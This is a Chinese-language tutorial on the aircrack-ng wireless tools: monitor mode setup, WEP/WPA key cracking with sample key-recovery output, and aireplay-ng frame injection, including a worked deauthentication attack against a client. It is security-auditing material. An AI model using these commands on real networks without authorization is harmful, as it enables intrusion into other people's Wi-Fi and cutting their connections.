如我们所见，airmon-ng为我们创建了一个新的接口wlan0mon，并且罗列出了一些可能影响aircrack-ng的进程。


5. 关闭monitor模式


~# airmon-ng stop wlan0mon
PHY Interface   Driver      Chipset

phy0    wlan0mon    ath9k_htc   Atheros Communications, Inc. AR9271 802.11n
        (mac80211 station mode vif enabled on [phy0]wlan0)
        (mac80211 monitor mode vif disabled for [phy0]wlan0mon)


不要忘了重启network manager，通常使用以下命令即可：




service network-manager start


Madwifi-ng驱动的monitor模式


下面描述了如何将madwifi-ng驱动的网卡置于monitor模式。在开启电脑以后，输入”iwconfig”来显示当前无线接口状态，屏幕会显示：




 lo        no wireless extensions.

 eth0      no wireless extensions.

 wifi0     no wireless extensions.

 ath0      IEEE 802.11b  ESSID:""  Nickname:""
           Mode:Managed  Channel:0  Access Point: Not-Associated   
           Bit Rate:0 kb/s   Tx-Power:0 dBm   Sensitivity=0/3  
           Retry:off   RTS thr:off   Fragment thr:off
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0


如果想要使用ath0（已经在使用中），首先：




airmon-ng stop ath0


屏幕会显示：




 Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)


现在，输入”iwconfig”，屏幕会显示：




 lo        no wireless extensions.

 eth0      no wireless extensions.

 wifi0     no wireless extensions.


我们可以看到ath0已经不在了，然后可使用如下命令在ath0上开启monitor模式：




airmon-ng start wifi0


屏幕会显示：




 Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)


现在输入”iwconfig”，屏幕会显示：




 lo        no wireless extensions.

 eth0      no wireless extensions.

 wifi0     no wireless extensions.

 ath0      IEEE 802.11g  ESSID:""  
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate=2 Mb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-96 dBm  Noise level=-96 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0


我们可以看到现在ath0已经处于monitor模式了。同时要注意essid，nickname，encryption要保持在未设定的状态。接入点显示了网卡的MAC地址（只有在madwifi-ng驱动中才会显示，其他驱动不显示）。如果ath1、ath2等也在运行，在进行上述需要操作之前，需要先停掉它们：




airmon-ng stop ath1


可以通过在命令后加信道数来设定信道：




airmon-ng start wifi0 9


使用贴士


1. 验证网卡处于monitor模式 

可使用”iwconfig”命令来检验网卡是否处于monitor模式，此时会显示出接口名和所处模式。对于madwifi-ng驱动的网卡，接入点显示的是网卡的MAC地址。


2. 设定当前的信道 

可使用”iwlist < interface name> channel”命令来设定当前的信道。如果我们想要工作在特定的接入点上，那么当前的信道就必须和接入点匹配。在这种情况下，最开始运行airmon-ng命令的时候，最好使用设定信道的参数。


3. 带有空格和特殊字符的BSSID 

参见这篇文章


4. 怎样将网卡设定回managed模式 

这取决于我们使用的是什么样的驱动，对于madwifi-ng外的其他驱动来说：


airmon-ng stop <interface name>


对于madwifi-ng驱动：




airmon-ng stop athX


其中X表示0,1,2等等。对于iwconfig所列出的所有接口，都要使用上述命令来停掉它们，然后：




wlanconfig ath create wlandev wifi0 wlanmode sta


也可以点此处参见madwifi-ng文档。对于mac80211驱动，什么事都不需要做，因为airmon-ng会保留managed模式。如果不再需要monitor模式，停掉它就可以了：


airmon-ng stop monX


其中，X是monitor接口号，一般是0（除非开启了多个monitor模式）。


常见问题及解决方法


一般来讲 

通常，linux的发行版都会设置有ath0或者更多的athX接口。在我们使用上述命令之前，这些接口都必须被关闭。另一个要主要的是，保证essid，nickname，encryptions没有被设定。


Airmon-ng显示接口不在monitor模式




~# airmon-ng stop wlan0mon
PHY Interface   Driver      Chipset

phy0    wlan0mon    ath9k_htc   Atheros Communications, Inc. AR9271 802.11n

You are trying to stop a device that isn't in monitor mode.
Doing so is a terrible idea, if you really want to do it then you
need to type 'iw wlan2mon del' yourself since it is a terrible idea.
Most likely you want to remove an interface called wlan[0-9]mon
If you feel you have reached this warning in error,
please report it.


最可能的情况是，接口被network namager从monitor模式变到了managed模式。发生这种情况时，表明最开始的时候没有用airmon-ng check kill命令来结束network manager。


网卡已经在monitor模式了，但是却没有显示 

同上，这应该是在结束network manager之前，曾尝试将网卡置于monitor模式，然后network manager又改变了网卡的模式。


创建了接口ath1而不是ath0 

这是由于madwifi-ng驱动造成的。首先，尝试停掉所有在运行的VAP接口：


airmon-ng stop IFACE


其中IFACE表示接口名称，可以通过iwconfig来查看需要停掉的接口。然后，再使用命令：


airmon-ng start wifi0


如果问题还是没有解决，参见这篇文章。


为什么会有”ioctl（SIOCGIFINDEX）failed” 

如果有如下错误信息：



	“SIOCSIFFLAGS : No such file or directory”

	“ioctl(SIOCGIFINDEX) failed: No such device” 

参见这篇文章




错误信息：”wlanconfig: command not found” 

如果有类似的错误信息，这说明w系统中没有wlanconfig命令或者不在路径中。如果是前者，那么在编译madwifi-ng驱动之后，要保证使用了make install，ubuntu中使用apt-get install madwifi-tools；如果是后者，需用locate或者find命令来找到该命令所在的文件夹。然后将文件目录添加到路径中。


airmon-ng显示的是RT2500而不是RT73 

参见这篇文章


错误信息：”add_iface: Permission denied” 

如果错误信息如下：




 Interface       Chipset         Driver

 wlan0                   iwl4965 - [phy0]/usr/sbin/airmon-ng: line 338: /sys/class/ieee80211/phy0/add_iface: Permission denied
                               mon0: unknown interface: No matching device found
                               (monitor mode enabled on mon0)


或者如下：




 wlan0   iwlagn - [phy0]/usr/local/sbin/airmon-ng: 856: cannot create /sys/class/ieee80211/phy0/add_iface: Directory nonexistent
 Error for wireless request "Set Mode" (8B06) :
  SET failed on device mon0 ; No such device.
 mon0: ERROR while getting interface flags: No such device


这说明airmon-ng的版本比较老旧，更新一下airmon-ng重新尝试。


check kill失败 

Distros从现在起正在使用”upstart”来代替/sbin/init ,所以需要手动：


 service network-manager stop
 service avahi-daemon stop
 service upstart-udev-bridge stop


然后查找并杀死dhclient和wpa_supplicant进程


SIOCSIFFLAGS: Unknown error 132 

如果出现如下错误：


# airmon-ng start wlan0
Interface   Chipset     Driver
wlan0       Broadcom    b43 - [phy0]SIOCSIFFLAGS: Unknown error 132
                (monitor mode enabled on mon0)


这表明RF拥堵了，尝试输入以下命令：




rfkill unblock all


aircrack-ng命令（上）

描述


Aircrack-ng是一个802.11的WEP和WPA/WPA2-PSK破解程序。一旦使用airodump-ng捕捉了足够的加密数据包以后，Aircrack-ng可以用来破解WEP密钥。aircrack-ng破解WEP密钥有两种方式。


第一种是PTW（Pyshkin，Tews，Weinmann），这也是破解WEP默认的方法，它由两个阶段组成。第一个阶段，aircrack-ng只使用ARP包，如果找不到密钥，再尝试捕捉到的其他数据包。需要知道，并不是所有的数据包都可以用来进行PTW破解，这篇PTW破解方法支持的数据包给出了更加详细的说明。一个很大的限制是，目前PTW方法只能破解40位和104位的WEP密钥。而另一方面，PTW方法的优点是，它只需很少的数据包就可以破解WEP密钥了。


第二种方法是FMS/KoreK方法，这种方法包含了很多统计攻击方式用来破解WEP密钥，并且结合了暴力破解方式。此外，aircrack-ng也提供了一种词典比对的方法来破解WEP密钥。


而对于WPA/WPA2共享密钥，只有词典比对这一种方法。SEE2则可以极大地加速这个漫长的比对过程。破解WPA/WPA2时，需要一个四次握手包作为输入。对于WPA来说，需要4个包才能完成一次完整的握手，然而aircrack-ng只需要其中的两个就能够开始工作了。


屏幕截图


[image: 这里写图片描述]




用法




aircrack-ng [options] <capture file(s)>


我们可以指定多个输入文件（可以是.cap或.ivs格式），也可以使用通配符。可以参见这里查看更多例子。而且，我们也可以同时运行airodump-ng和aircrack-ng，因为当捕捉到新的IVs时，aircrack-ng会自动更新。


参数表



    
    
        	Option
	Param.
	Description
    

    
    
        	-a
	amode
	Force attack mode (1 = static WEP, 2 = WPA/WPA2-PSK).
    

    
        	-b
	bssid
	Long version - -bssid. Select the target network based on the access point’s MAC address.
    

    
        	-e
	essid
	If set, all IVs from networks with the same ESSID will be used. This option is also required for WPA/WPA2-PSK cracking if the ESSID is not broadcasted (hidden).
    

    
        	-p
	nbcpu
	On SMP systems: # of CPU to use.  This option is invalid on non-SMP systems.
    

    
        	-q
	none
	Enable quiet mode (no status output until the key is found, or not).
    

    
        	-c
	none
	(WEP cracking) Restrict the search space to alpha-numeric characters only (0x20 - 0x7F).
    

    
        	-t
	none
	(WEP cracking) Restrict the search space to binary coded decimal hex characters.
    

    
        	-h
	none
	(WEP cracking) Restrict the search space to numeric characters (0x30-0x39) These keys are used by default in most Fritz!BOXes.
    

    
        	-d
	start
	(WEP cracking) Long version –debug.  Set the beginning of the WEP key (in hex), for debugging purposes.
    

    
        	-m
	maddr
	(WEP cracking) MAC address to filter WEP data packets. Alternatively, specify -m ff:ff:ff:ff:ff:ff to use all and every IVs, regardless of the network.
    

    
        	-M
	number
	(WEP cracking) Sets the maximum number of ivs to use.
    

    
        	-n
	nbits
	(WEP cracking) Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc. The default value is 128.
    

    
        	-i
	index
	(WEP cracking) Only keep the IVs that have this key index (1 to 4). The default behaviour is to ignore the key index.
    

    
        	-f
	fudge
	(WEP cracking) By default, this parameter is set to 2 for 104-bit WEP and to 5 for 40-bit WEP. Specify a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelyhood of success.
    

    
        	-H
	none
	Long version - -help.  Output help information.
    

    
        	-l
	file name
	(Lowercase L, ell) logs the key to the file specified.
    

    
        	-K
	none
	Invokes the Korek WEP cracking method. (Default in v0.x)
    

    
        	-k
	korek
	(WEP cracking) There are 17 korek statistical attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try -k 1, -k 2, … -k 17 to disable each attack selectively.
    

    
        	-p
	threads
	Allow the number of threads for cracking even if you have a non-SMP computer.
    

    
        	-r
	database
	Utilizes a database generated by airolib-ng as input to determine the WPA key.  Outputs an error message if aircrack-ng has not been compiled with sqlite support.
    

    
        	-x/-x0
	none
	(WEP cracking) Disable last keybytes brutforce.
    

    
        	-x1
	none
	(WEP cracking) Enable last keybyte bruteforcing (default).
    

    
        	-x2
	none
	(WEP cracking) Enable last two keybytes bruteforcing.
    

    
        	-X
	none
	(WEP cracking) Disable bruteforce multithreading (SMP only).
    

    
        	-y
	none
	(WEP cracking) Experimental single bruteforce attack which should only be used when the standard attack mode fails with more than one million IVs
    

    
        	-u
	none
	Long form - -cpu-detect.  Provide information on the number of CPUs and MMX support.  Example responses to “aircrack-ng - -cpu-detect” are “Nb CPU detected: 2” or “Nb CPU detected: 1  (MMX available)”.
    

    
        	-w
	words
	(WPA cracking) Path to a wordlist or “-” without the quotes for standard in (stdin).
    

    
        	-z
	none
	Invokes the PTW WEP cracking method. (Default in v1.x)
    

    
        	-P
	none
	Long version - -ptw-debug.  Invokes the PTW debug mode.
    

    
        	-C
	MACs
	Long version - -combine.  Merge the given APs to a virtual one.
    

    
        	-D
	none
	Long version - -wep-decloak.  Run in WEP decloak mode.
    

    
        	-V
	none
	Long version - -visual-inspection.  Run in visual inspection mode.
    

    
        	-1
	none
	Long version - -oneshot.  Run in oneshot mode.
    

    
        	-S
	none
	WPA cracking speed test.
    

    
        	-s
	none
	Show the key in ASCII while cracking
    

    
        	-E
	file>
	(WPA cracking) Create EWSA Project file v3
    

    
        	-J
	file
	(WPA cracking) Create Hashcat Capture file
    







用法范例




WEP


最简单的情形是破解一个WEP密钥。如果想要自己尝试一下，这里是一个测试文件。测试文件的密钥跟上截图相同，但是跟下面的例子没有关系。


简单破解 

输入命令：




aircrack-ng 128bit.ivs


其中：128bit.ivs是含有IVs的文件名。屏幕会显示：




 Opening 128bit.ivs
 Read 684002 packets.

 #  BSSID              ESSID                     Encryption

 1  00:14:6C:04:57:9B                            WEP (684002 IVs)

 Choosing first network as target.


如果文件中信息包含有不止一个网络，那么我们就要选择破解哪一个网络。默认情况下，aircrack-ng认为加密为128bit。然后破解开始，一旦破解成功，会出现以下信息提示：




                                              Aircrack-ng 0.7 r130


                              [00:00:10] Tested 77 keys (got 684002 IVs)

 KB    depth   byte(vote)
  0    0/  1   AE( 199) 29(  27) 2D(  13) 7C(  12) FE(  12) FF(   6) 39(   5) 2C(   3) 00(   0) 08(   0) 
  1    0/  3   66(  41) F1(  33) 4C(  23) 00(  19) 9F(  19) C7(  18) 64(   9) 7A(   9) 7B(   9) F6(   9) 
  2    0/  2   5C(  89) 52(  60) E3(  22) 10(  20) F3(  18) 8B(  15) 8E(  15) 14(  13) D2(  11) 47(  10) 
  3    0/  1   FD( 375) 81(  40) 1D(  26) 99(  26) D2(  23) 33(  20) 2C(  19) 05(  17) 0B(  17) 35(  17) 
  4    0/  2   24( 130) 87( 110) 7B(  32) 4F(  25) D7(  20) F4(  18) 17(  15) 8A(  15) CE(  15) E1(  15) 
  5    0/  1   E3( 222) 4F(  46) 40(  45) 7F(  28) DB(  27) E0(  27) 5B(  25) 71(  25) 8A(  25) 65(  23) 
  6    0/  1   92( 208) 63(  58) 54(  51) 64(  35) 51(  26) 53(  25) 75(  20) 0E(  18) 7D(  18) D9(  18) 
  7    0/  1   A9( 220) B8(  51) 4B(  41) 1B(  39) 3B(  23) 9B(  23) FA(  23) 63(  22) 2D(  19) 1A(  17) 
  8    0/  1   14(1106) C1( 118) 04(  41) 13(  30) 43(  28) 99(  25) 79(  20) B1(  17) 86(  15) 97(  15) 
  9    0/  1   39( 540) 08(  95) E4(  87) E2(  79) E5(  59) 0A(  44) CC(  35) 02(  32) C7(  31) 6C(  30) 
 10    0/  1   D4( 372) 9E(  68) A0(  64) 9F(  55) DB(  51) 38(  40) 9D(  40) 52(  39) A1(  38) 54(  36) 
 11    0/  1   27( 334) BC(  58) F1(  44) BE(  42) 79(  39) 3B(  37) E1(  34) E2(  34) 31(  33) BF(  33) 

           KEY FOUND! [ AE:66:5C:FD:24:E3:92:A9:14:39:D4:27:4B ] 


注：只有16进制数字密钥全部能被转化为ASCII字符密钥时，才会显示WEP的ASCII字符密钥。接下来这个密钥就可以用来连接网络了。下面，我们来看一下如何使用词典比对的方法破解WEP。


词典比对破解 

首先，我们需要有一个含有ASCII字符或者十六进制密钥的词典。但需要注意，一个文件只能含两种格式的一种。下面的表格给出了不同加密强度下各自需要的位数。



    
    
        	 WEP密钥的

        比特长度
	 十六进制

数字长度
	 Ascii字符

长度 
    

    
    
        	64
	10
	5
    

    
        	128
	26
	13
    

    
        	152
	32
	16
    

    
        	256
	58
	29
    





例如：



	64bit的ascii字符密钥：“ABCDE”

	64bit的十六进制数密钥：“12:34:56:78:90” （注意数字之间的“：”）

	128bit的ascii字符密钥：“ABCDEABCDEABC”

	128bit的十六进制数密钥：”12:34:56:78:90:12:34:56:78:90:12:34:56”




如果想要破解一个64bit长的密钥，可输入以下命令：




aircrack-ng -w h:hex.txt,ascii.txt -a 1 -n 64 -e teddy wep10-01.cap


其中：



	-w h:hex.txt,ascii.txt 表示使用的密钥文件，对于十六进制数字格式的密钥文件，必须在文件名前加上“h：”

	-a 1 表示WEP

	-n 64 表示密钥是64bit长的

	-e teddy 选择接入点，也可以再加上-b来选择特定的MAC地址，都可选

	wep10-01.cap表示包含数据的文件名，它可以是一个完整的数据包，或者仅包含IVs，最少需要包含4个IVs




可能得输出如下：




                                              Aircrack-ng 0.7 r247


                              [00:00:00] Tested 2 keys (got 13 IVs)

 KB    depth   byte(vote)
  0    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
  1    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
  2    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
  3    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
  4    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 

                       KEY FOUND! [ 12:34:56:78:90 ] 
      Probability: 100%


PTW攻击示例 

需要注意，此方法需要将ARP请求或者应答包作为输入，需要是完整的包而不仅仅是IVs。这也就意味着我们在使用airodump-ng时不可以加“–ivs”参数选项。而且，此方法只对64位和128位的WEP加密方式有效。


输入命令：




aircrack-ng -z ptw*.cap


其中：



	-z 表示我门使用PTW方法来破解密钥。注意，在v1.x中这种方式是默认方式，可使用-K切换到Korek

	ptw*.cap表示捕捉数据的文件




屏幕显示：




 Opening ptw-01.cap
 Read 171721 packets.

 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WEP (30680 IVs)

 Choosing first network as target.


然后出现：




                                              Aircrack-ng 0.9

                              [00:01:18] Tested 0/140000 keys (got 30680 IVs)

 KB    depth   byte(vote)
  0    0/  1   12( 170) 35( 152) AA( 146) 17( 145) 86( 143) F0( 143) AE( 142) C5( 142) D4( 142) 50( 140) 
  1    0/  1   34( 163) BB( 160) CF( 147) 59( 146) 39( 143) 47( 142) 42( 139) 3D( 137) 7F( 137) 18( 136) 
  2    0/  1   56( 162) E9( 147) 1E( 146) 32( 146) 6E( 145) 79( 143) E7( 142) EB( 142) 75( 141) 31( 140) 
  3    0/  1   78( 158) 13( 156) 01( 152) 5F( 151) 28( 149) 59( 145) FC( 145) 7E( 143) 76( 142) 92( 142) 
  4    0/  1   90( 183) 8B( 156) D7( 148) E0( 146) 18( 145) 33( 145) 96( 144) 2B( 143) 88( 143) 41( 141) 

                       KEY FOUND! [ 12:34:56:78:90 ] 
      Decrypted correctly: 100%




WPA


破解WPA/WPA2密钥时，使用aircrack-ng的命令格式为：




aircrack-ng -w password.lst *.cap


其中：



	-w password.lst是密钥词典文件名。如果文件不在运行路径中则需加上绝对地址

	*.cap是包含有捕捉到的数据包的文件，此处我们使用了通配符




屏幕会显示：




 Opening wpa2.eapol.cap
 Opening wpa.cap
 Read 18 packets.

 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  Harkonen                  WPA (1 handshake)
 2  00:0D:93:EB:B0:8C  test                      WPA (1 handshake)

 Index number of target network ? 


注意到此时，我们的文件中包含有不止一个网络，所以我们需要从中选取要攻击的网络。输入我们的选择“2”，破解出密钥：




                               Aircrack-ng 0.7 r130


                 [00:00:03] 230 keys tested (73.41 k/s)


                         KEY FOUND! [ biscotte ]


    Master Key     : CD D7 9A 5A CF B0 70 C7 E9 D1 02 3B 87 02 85 D6 
                     39 E4 30 B3 2F 31 AA 37 AC 82 5A 55 B5 55 24 EE 

    Transcient Key : 33 55 0B FC 4F 24 84 F4 9A 38 B3 D0 89 83 D2 49 
                     73 F9 DE 89 67 A6 6D 2B 8E 46 2C 07 47 6A CE 08 
                     AD FB 65 D6 13 A9 9F 2C 65 E4 A6 08 F2 5A 67 97 
                     D9 6F 76 5B 8C D3 DF 13 2F BC DA 6A 6E D9 62 CD 

    EAPOL HMAC     : 52 27 B8 3F 73 7C 45 A0 05 97 69 5C 30 78 60 BD


现在就可以得到密钥连接到网络了。


Aireplay-ng命令

描述


aireplay-ng是一个注入帧的工具。它的主要作用是产生数据流量，而这些随后将会被用于aircrack-ng破解WEP和WPA/WPA2秘钥。aireplay-ng里包含了很多种不同的攻击方式用来获取WPA握手包。如：解除认证攻击（-0）、伪造认证攻击（-1）、交互式数据包重放攻击（-2）、手动ARP请求注入攻击（-3）、ARP请求重放注入攻击（-4）。而且，通过与packetforge-ng一起，我们可以创造出任何想要的数据包。大部分的驱动需要补丁才能支持数据包注入，可参见此处安装驱动。




攻击类型


aireplay-ng当前支持的攻击种类如下：



	Attack 0：解除认证攻击

	Attack 1：伪造认证攻击

	Attack 2：交互式注入攻击

	Attack 3：ARP请求包重放攻击

	Attack 4：chopchop Korek攻击

	Attack 5：碎片交错攻击

	Attack 6：Cafe-latte 攻击

	Attack 7：面向客户的碎片攻击

	Attack 8：WPA迁移模式

	Attack 9：数据包注入测试






用法


以下只是通常情况下的用法，命令格式并不能涵盖所有的攻击模式。如果想要了解更详细的用法，可以参见每一种攻击各自的用法说明。


命令格式：




aireplay-ng <options> <replay interface>


除了解除认证攻击（-0）和伪造认证攻击（-1）以外，其他所有攻击都可以使用下面的过滤选项来限制数据包的来源。-b是最常用的一个过滤选项，它的作用是指定一个特定的接入点。通常，我们可能只会用到-b一个选项。


过滤选项：



	-b bssid ：接入点的MAC地址

	-d dmac：目的MAC地址

	-s smac：源MAC地址

	-m len：数据包最小长度

	-n len：数据包最大长度

	-u type：含有关键词的控制帧

	-v subt：含有表单数据的控制帧

	-t tods：到目的地址的控制帧

	-f fromds：从目的地址出发的控制帧

	-w iswep：含有WEP数据的控制帧




当我们重放（注入）数据包时，会用到以下的选项。注意，不是每一种攻击都能使用所有的选项。具体请参见每一种攻击各自的详细说明。


重放选项：



	-x nbpps：设置每秒发送数据包的数目

	-p fctrl：设置控制帧中包含的信息（16进制）

	-a bssid：设置接入点的MAC地址

	-c dmac：设置目的MAC地址

	-h smac：设置源MAC地址

	-e essid：虚假认证攻击中，设置接入点名称

	-j：ARP请求攻击，向目标注入数据包

	-g value：修改缓冲区的大小（默认值：8）

	-k IP：设置目标IP加入注入文件

	-l IP：设置目标源IP加入注入文件

	-o npckts：每次攻击含数据包的数量

	-q sec：设置持续活动时间

	-y prga：包含共享秘钥的关键数据流

	-Bor –bittest：比特率测试（仅适用于测试模式）

	-D：禁止接入点嗅探

	-F or –fast：选择第一次匹配的数据包

	-R：禁止 /dev/rtc 的使用




Aireplay-ng有两个获取数据包来源。第一个是无线网卡的实时通信流，第二个则是pcap文件。大部分商业的或开源的流量捕获与分析工具都可以识别标准的Pcap格式文件。从pcap文件读取数据是Aireplay-ng一个经常被忽视的功能。这个功能可以使我们从捕捉的其他会话中读取数据包。注意，有很多种攻击会在攻击时生成pcap文件以便重复使用。


来源选项：



	iface：从指定网卡捕获数据包

	-r file：从指定pcap文件获取数据包




下面的选项用来指定程序运行哪一种攻击模式。前面我们提到的选项并非在所有攻击模式下都适用，选项是否可用基于当前指定的攻击模式。


攻击模式：



	–deauth count：解除一个或所有工作站与接入点之间的认证（-0）

	-fakeauth delay：向接入点发起伪造的认证（-1）

	-interactive：交互式注入攻击（-2）

	-arpreplay：标准ARP请求包重放（-3）

	chopchop：解密WEP包

	-fragment：碎片包攻击模式

	-test：注入测试




Fragmentation和Chopchop的比较


以下是fragmentation和chopchop攻击的差别比较：


Fragmentation


优点：



	通常会得到1500byte长的完整数据包，这就使我们随后可以创建任意大小的数据包。即便当我们收集的数据包小于1500byte，也足够我们用来产生ARP请求

	有时可用在chopchop不能使用的情况中

	速度非常快。成功时产生xor流文件的速度非常快




缺点：



	需要更多的输入信息来发动攻击（即IP地址信息）。通常，这能够被猜测出来。而且在没有指定时，aireplay-ng会将源地址和目的地址默认为255.255.255.255。在大多数情况下这样都不会有问题，所以这个缺点并不是很大的问题。

	发动攻击更容易受限于网卡驱动。例如，对于Atheros，如果不将网卡的MAC地址设定为我们要欺骗的MAC地址，就不能够产生正确的数据包。

	我们需要距离接入点更近，因为一个数据包的丢失都会导致攻击的失败

	攻击在不正常处理碎片包的接入点上会失败




ChopChop


优点：



	有时可用在fragmentation不能使用的情况中

	不需知道任何IP信息




缺点：



	不是所有的接入点都能被攻击

	最大的xor流长度受限于我们chopchop的包长度。尽管理论上，我们可以获得1500byte长的xor流，而实际中却很少

	比fragmentation要慢很多




用法指导


优化注入速度 

优化注入速率更像是一门艺术。首先我们可以尝试按照默认的设定运，如果效果欠佳，则可以使用-x选项来改变注入速度。需要注意，有时降低注入速率反而会提高整体效率。我们还可以按照网卡本身的传输速率来设置注入速率。即：




iwconfig wlan0 rate 11M


通常默认的传输速率是1或11M，这取决于网卡驱动以及我们将它启动为monitor模式的方式。如果我们距离接入点比较近，则可以设定一个相对较高的值，如54M，这可以使我们每秒获取更多的数据包。如果相距较远，以至于数据包无法传输，则可以尝试将它降低到些，如1M。




常见问题及解决方法


以下说明适用于aireplay-ng所有的攻击模式。


aireplay-ng没有注入数据包


保证我们使用的是正确的monitor接口。使用iwconfig命令可以查看各个接口及它们的模式。对于mac80211驱动，monitor模式的接口名通常为”mon0”；对于ieee80211驱动，接口则通常为”ath0”。而其它，则因驱动而异。


对于madwifi-ng驱动，确保没有其他的VAP在运行


确保已经没有其他的VAP运行，因为当已经存在一个monitor模式的VAP时，再使用另一个managed模式的VAP会导致问题。我们需要先停掉ath0，再开启wifi0：




airmon-ng stop ath0
airmon-ng start wifi0


或者：


wlanconfig ath0 destroy
wlanconfig ath create wlandev wifi0 wlanmode monitor


aireplay-ng被挂起没有输出


我们输入了命令，但它看起来好像被挂起了没有任何输出。这种现象通常是因为我们的无线网卡与接入点工作在不同的频道。另一个可能的原因是我们在prism2芯片组上使用的固件版本过老。此时，需保证使用1.7.4或更高版本的固件。可参见此链接获得更多信息。这里介绍了升级固件所使用的指令。另外，如果我们在后台运行了另一个aireplay-ng进程，且两个进程之间选项有冲突，也会导致第二个进程被挂起。


aireplay-ng注入过程中卡住


参见这篇帖子，或者这篇。


写入失败：“Cannot allocate memory wi_write(): Illegal seek”


当我们使用的是broadcom芯片以及对应驱动时，可能会得到这样的提示信息：


“write failed: Cannot allocate memory wi_write(): Illegal seek”


这是因为bcm43xx原始补丁里的一个BUG。要解决这个问题，可以使用SuD修改过的补丁。此外，也可以使用B43驱动来代替bcm43xx。（B43对aireplay-ng的版本要求>1.0-beta2，推荐使用1.0 rc1或其子版本。）


注入缓慢：”rtc: lost some interrupts at 1024Hz”


症状：可以注入但是速度非常慢，每秒大概30个数据包（30pps）。每次注入数据包时，都会有类似于下面的提示信息：




rtc: lost some interrupts at 1024Hz


且随后这样的信息会不断重复提示。对此问题有多种解决方法，第一种是再开启一个新的aireplay进程，这样注入速度就能到大约300pps。第二种方法需要输入以下命令：




 rmmod rtc 
 modprobe genrtc


如果内核可以用rtc-cmos，也可输入：


 rmmod rtc
 modprobe rtc-cmos


对这个问题，并没有彻底的解决方法。以上只是一些变通方法，可参见这篇文章。


注入速率低的一般情况


距离接入点太近会导致注入速率明显地降低。这主要是由数据包损坏或者接入点过载导致的。这篇文章是一个具体的例子。


错误信息：”open(/dev/rtc) failed: Device or resource busy”


此错误是由于同时运行两个或多个aireplay-ng进程造成的。虽然程序仍然可以运行，但是会导致时间变得不准确。


网卡的MAC地址与指定的MAC地址不匹配


当我们输入了一个类似于下面的命令：




aireplay-ng -1 0 -e horcer -a 00:50:18:4C:A5:02 -h 00:13:A7:12:3C:5B ath0


得到如下信息：




The interface MAC (06:13:F7:12:23:4A) doesn't match the specified MAC (-h).
      ifconfig ath1 hw ether 00:13:A7:12:3C:5B


当用来进行注入的源MAC地址（由-h指定）与我们网卡的MAC地址不同时，会出现上述提示信息。在上面的例子中，用来注入的MAC地址是00:13:A7:12:3C:5B，而网卡的MAC地址是06:13:F7:12:23:4A。有时候，它们的不相同会导致注入的失败，这也是提示信息出现的原因。所以，我们一般需要将用以注入的MAC地址和网卡的MAC地址相匹配。改变网卡MAC地址的方法，参见此处。


隐藏SSID “


mon0 is on channel 1, but the AP uses channel 6


这表示一些原因导致我们的网卡发生了跳频。一个可能的原因是启动airodump-ng的时候没有将其指定到一个特定的信道（需带上-c参数）。另一个可能的原因是我们同时运行了会引起跳频的进程，比如：network manager、wpa_supplicant。此时必须杀死所有这些进程。可参见airmon-ng（airmon-ng check kill）。


aireplay（Deauthentication）

描述


Deauthentication，即解除认证攻击（aireplay-ng -0）。此攻击会给已连接上接入点的用户发送断开包（导致用户和接入点断开连接）。常在下列情形中用到：



	用来发现隐藏的ESSID

	用来捕捉WPA/WPA2握手包

	产生ARP请求（断开连接时，windows会刷新ARP缓存）




当然，没有用户和接入点连接时，这种攻击方式就不能使用了。


用法




aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0


其中：



	-0表示解除认证攻击

	1是我们发送断开包的数量，0表示不断发送

	-a 00:14:6C:7E:40:80是接入点的MAC地址

	-c 00:0F:B5:34:30:30是我们所要攻击用户的MAC地址，如果此项被省略则攻击所有用户

	ath0表示monitor接口




用法范例




典型的解除认证攻击


首先，选定一个已经连接上接入点的用户，我们在下面的命令中需要它的MAC地址：




aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AE:CE:9D ath0


其中：



	-0表示解除认证攻击

	1是我们发送断开包的数量

	-a 00:14:6C:7E:40:80是接入点的MAC地址

	-c 00:0F:B5:34:30:30是我们所要攻击用户的MAC地址

	ath0表示monitor接口




应该会有下面的输出：


 12:35:25  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
 12:35:25  Sending 64 directed DeAuth. STMAC: [00:0F:B5:AE:CE:9D] [ 61|63 ACKs]


对于定向的解除认证攻击，aireplay-ng一次攻击中会发送128个数据包，64个发送到指定的用户，64个发送到接入点。


其中的“[ 61|63 ACKs]” 表示：



	【从客户端接收到的ACKs | 从接入点接收到的ACKs】

	可以看到两者的数量都比64要小，这是因为丢失一些数据包是很正常的。相反，如果客户端正和接入点频繁地通信，这些数也可能比64要大

	这两个数字可以帮助我们判断用户和接入点是否接收到了我们发送的断开包，0可以说明用户或者接入点没有接收到，比较小的数则说明与它们的距离较远，信号强度较弱。




